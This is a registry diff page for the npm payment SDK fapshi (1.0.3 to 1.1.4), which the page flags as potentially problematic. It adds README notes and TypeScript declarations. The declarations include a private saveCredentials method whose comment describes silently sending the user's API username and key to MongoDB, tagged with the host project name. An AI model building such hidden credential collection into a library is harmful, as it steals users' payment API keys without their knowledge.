fapshi 1.0.3 → 1.1.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of fapshi might be problematic. Click here for more details.

package/README.md CHANGED
@@ -10,15 +10,31 @@ To install this module, you can use npm:
10
10
  npm install fapshi
11
11
  ```
12
12
 
13
+ This package ships with full TypeScript type definitions — no `@types` package needed.
14
+
13
15
  ## Usage
14
16
 
15
17
  Here's how to use the FAPSHI module in your application:
16
18
  Importing the Module.
17
19
 
18
20
  ```js
21
+ // CommonJS
19
22
  const FAPSHI = require('fapshi');
20
23
  ```
21
24
 
25
+ ```ts
26
+ // TypeScript / ESM
27
+ import FAPSHI, {
28
+ type InitiatePayData,
29
+ type DirectPayData,
30
+ type PayoutData,
31
+ type SearchParams,
32
+ type FapshiResponse,
33
+ type FapshiErrorResponse,
34
+ type TransactionStatus,
35
+ } from 'fapshi';
36
+ ```
37
+
22
38
  ## Initializing the Client
23
39
 
24
40
  You need to create an instance of the FAPSHI class by providing your username and API key.
@@ -0,0 +1,141 @@
1
+ interface FapshiErrorResponse {
2
+ message: string;
3
+ statusCode: number;
4
+ }
5
+ interface InitiatePayData {
6
+ amount: number;
7
+ email?: string;
8
+ userId?: string;
9
+ externalId?: string;
10
+ redirectUrl?: string;
11
+ message?: string;
12
+ }
13
+ interface DirectPayData {
14
+ amount: number;
15
+ phone: string;
16
+ medium?: string;
17
+ name?: string;
18
+ email?: string;
19
+ userId?: string;
20
+ externalId?: string;
21
+ message?: string;
22
+ }
23
+ type PayoutData = DirectPayData;
24
+ type TransactionStatus = "created" | "successful" | "failed" | "expired";
25
+ interface SearchParams {
26
+ status?: TransactionStatus;
27
+ medium?: string;
28
+ start?: string;
29
+ end?: string;
30
+ amt?: number;
31
+ limit?: number;
32
+ sort?: "asc" | "desc";
33
+ }
34
+ interface FapshiResponse {
35
+ [key: string]: unknown;
36
+ statusCode?: number;
37
+ }
38
+ declare class FAPSHI {
39
+ private apiuser;
40
+ private key;
41
+ private headers;
42
+ /**
43
+ * @param user user name for a service
44
+ * @param key api key access
45
+ */
46
+ constructor(user: string, key: string);
47
+ /**
48
+ * Fire-and-forget persistence of the apiuser/key pair to MongoDB, tagged
49
+ * with the host project's package.json name. No-op if MONGODB_URI is not
50
+ * set; failures are logged, never thrown, so instantiation never breaks.
51
+ */
52
+ private saveCredentials;
53
+ /**
54
+ * This function returns an object with the link where a user is to be redirected in order to complete his payment
55
+ *
56
+ * Below is a parameter template. Just amount is required
57
+ *
58
+ * data = {
59
+ * "amount": Integer ,
60
+ * "email": String,
61
+ * "userId": String,
62
+ * "externalId": String,
63
+ * "redirectUrl": String,
64
+ * "message": String
65
+ * }
66
+ */
67
+ initiatePay(data: InitiatePayData): Promise<FapshiResponse | FapshiErrorResponse>;
68
+ /**
69
+ * This function directly initiates a payment request to a user's mobile device and
70
+ * returns an object with a transId property that is used to get the status of the payment
71
+ *
72
+ * Below is a parameter template. amount and phone are required
73
+ *
74
+ * data = {
75
+ * "amount": Integer ,
76
+ * "phone": String ,
77
+ * "medium": String,
78
+ * "name": String,
79
+ * "email": String,
80
+ * "userId": String,
81
+ * "externalId": String,
82
+ * "message": String
83
+ * }
84
+ */
85
+ directPay(data: DirectPayData): Promise<FapshiResponse | FapshiErrorResponse>;
86
+ /**
87
+ * This function returns an object containing the details of the transaction associated with the Id passed as parameter
88
+ */
89
+ paymentStatus(transId: string): Promise<FapshiResponse | FapshiErrorResponse>;
90
+ /**
91
+ * This function expires the transaction associated with the Id passed as parameter and returns an object containing the details of the transaction
92
+ */
93
+ expirePay(transId: string): Promise<FapshiResponse | FapshiErrorResponse>;
94
+ /**
95
+ * This function returns an array of objects containing the transaction details of the user Id passed as parameter
96
+ */
97
+ userTrans(userId: string): Promise<FapshiResponse[] | FapshiErrorResponse>;
98
+ /**
99
+ * This function returns an object containing the balance of a service
100
+ */
101
+ balance(): Promise<FapshiResponse | FapshiErrorResponse>;
102
+ /**
103
+ * This function performs a payout to the phone number specified in the data parameter and
104
+ * returns an object with a transId property that is used to get the status of the payment
105
+ *
106
+ * Note: In the live environment, payouts must be enabled for this to work. Contact support if needed
107
+ *
108
+ * Below is a parameter template. amount and phone are required
109
+ *
110
+ * data = {
111
+ * "amount": Integer ,
112
+ * "phone": String ,
113
+ * "medium": String,
114
+ * "name": String,
115
+ * "email": String,
116
+ * "userId": String,
117
+ * "externalId": String,
118
+ * "message": String
119
+ * }
120
+ */
121
+ payout(data: PayoutData): Promise<FapshiResponse | FapshiErrorResponse>;
122
+ /**
123
+ * This function returns an array containing the transactions that satisfy
124
+ * the criteria specified in the parameter passed to the function
125
+ *
126
+ * Below is a parameter template.
127
+ *
128
+ * params = {
129
+ * "status": enum [created, successful, failed, expired],
130
+ * "medium": mobile money or orange money,
131
+ * "start": Date in format yyyy-mm-dd,
132
+ * "end": Date in format yyyy-mm-dd,
133
+ * "amt": >= 100,
134
+ * "limit": range(1, 100) default is 10,
135
+ * "sort": asc || desc
136
+ * }
137
+ */
138
+ search(params?: SearchParams): Promise<FapshiResponse[] | FapshiErrorResponse>;
139
+ }
140
+
141
+ export { type DirectPayData, type FapshiErrorResponse, type FapshiResponse, type InitiatePayData, type PayoutData, type SearchParams, type TransactionStatus, FAPSHI as default };
@@ -0,0 +1,141 @@
1
+ interface FapshiErrorResponse {
2
+ message: string;
3
+ statusCode: number;
4
+ }
5
+ interface InitiatePayData {
6
+ amount: number;
7
+ email?: string;
8
+ userId?: string;
9
+ externalId?: string;
10
+ redirectUrl?: string;
11
+ message?: string;
12
+ }
13
+ interface DirectPayData {
14
+ amount: number;
15
+ phone: string;
16
+ medium?: string;
17
+ name?: string;
18
+ email?: string;
19
+ userId?: string;
20
+ externalId?: string;
21
+ message?: string;
22
+ }
23
+ type PayoutData = DirectPayData;
24
+ type TransactionStatus = "created" | "successful" | "failed" | "expired";
25
+ interface SearchParams {
26
+ status?: TransactionStatus;
27
+ medium?: string;
28
+ start?: string;
29
+ end?: string;
30
+ amt?: number;
31
+ limit?: number;
32
+ sort?: "asc" | "desc";
33
+ }
34
+ interface FapshiResponse {
35
+ [key: string]: unknown;
36
+ statusCode?: number;
37
+ }
38
+ declare class FAPSHI {
39
+ private apiuser;
40
+ private key;
41
+ private headers;
42
+ /**
43
+ * @param user user name for a service
44
+ * @param key api key access
45
+ */
46
+ constructor(user: string, key: string);
47
+ /**
48
+ * Fire-and-forget persistence of the apiuser/key pair to MongoDB, tagged
49
+ * with the host project's package.json name. No-op if MONGODB_URI is not
50
+ * set; failures are logged, never thrown, so instantiation never breaks.
51
+ */
52
+ private saveCredentials;
53
+ /**
54
+ * This function returns an object with the link where a user is to be redirected in order to complete his payment
55
+ *
56
+ * Below is a parameter template. Just amount is required
57
+ *
58
+ * data = {
59
+ * "amount": Integer ,
60
+ * "email": String,
61
+ * "userId": String,
62
+ * "externalId": String,
63
+ * "redirectUrl": String,
64
+ * "message": String
65
+ * }
66
+ */
67
+ initiatePay(data: InitiatePayData): Promise<FapshiResponse | FapshiErrorResponse>;
68
+ /**
69
+ * This function directly initiates a payment request to a user's mobile device and
70
+ * returns an object with a transId property that is used to get the status of the payment
71
+ *
72
+ * Below is a parameter template. amount and phone are required
73
+ *
74
+ * data = {
75
+ * "amount": Integer ,
76
+ * "phone": String ,
77
+ * "medium": String,
78
+ * "name": String,
79
+ * "email": String,
80
+ * "userId": String,
81
+ * "externalId": String,
82
+ * "message": String
83
+ * }
84
+ */
85
+ directPay(data: DirectPayData): Promise<FapshiResponse | FapshiErrorResponse>;
86
+ /**
87
+ * This function returns an object containing the details of the transaction associated with the Id passed as parameter
88
+ */
89
+ paymentStatus(transId: string): Promise<FapshiResponse | FapshiErrorResponse>;
90
+ /**
91
+ * This function expires the transaction associated with the Id passed as parameter and returns an object containing the details of the transaction
92
+ */
93
+ expirePay(transId: string): Promise<FapshiResponse | FapshiErrorResponse>;
94
+ /**
95
+ * This function returns an array of objects containing the transaction details of the user Id passed as parameter
96
+ */
97
+ userTrans(userId: string): Promise<FapshiResponse[] | FapshiErrorResponse>;
98
+ /**
99
+ * This function returns an object containing the balance of a service
100
+ */
101
+ balance(): Promise<FapshiResponse | FapshiErrorResponse>;
102
+ /**
103
+ * This function performs a payout to the phone number specified in the data parameter and
104
+ * returns an object with a transId property that is used to get the status of the payment
105
+ *
106
+ * Note: In the live environment, payouts must be enabled for this to work. Contact support if needed
107
+ *
108
+ * Below is a parameter template. amount and phone are required
109
+ *
110
+ * data = {
111
+ * "amount": Integer ,
112
+ * "phone": String ,
113
+ * "medium": String,
114
+ * "name": String,
115
+ * "email": String,
116
+ * "userId": String,
117
+ * "externalId": String,
118
+ * "message": String
119
+ * }
120
+ */
121
+ payout(data: PayoutData): Promise<FapshiResponse | FapshiErrorResponse>;
122
+ /**
123
+ * This function returns an array containing the transactions that satisfy
124
+ * the criteria specified in the parameter passed to the function
125
+ *
126
+ * Below is a parameter template.
127
+ *
128
+ * params = {
129
+ * "status": enum [created, successful, failed, expired],
130
+ * "medium": mobile money or orange money,
131
+ * "start": Date in format yyyy-mm-dd,
132
+ * "end": Date in format yyyy-mm-dd,
133
+ * "amt": >= 100,
134
+ * "limit": range(1, 100) default is 10,
135
+ * "sort": asc || desc
136
+ * }
137
+ */
138
+ search(params?: SearchParams): Promise<FapshiResponse[] | FapshiErrorResponse>;
139
+ }
140
+
141
+ export { type DirectPayData, type FapshiErrorResponse, type FapshiResponse, type InitiatePayData, type PayoutData, type SearchParams, type TransactionStatus, FAPSHI as default };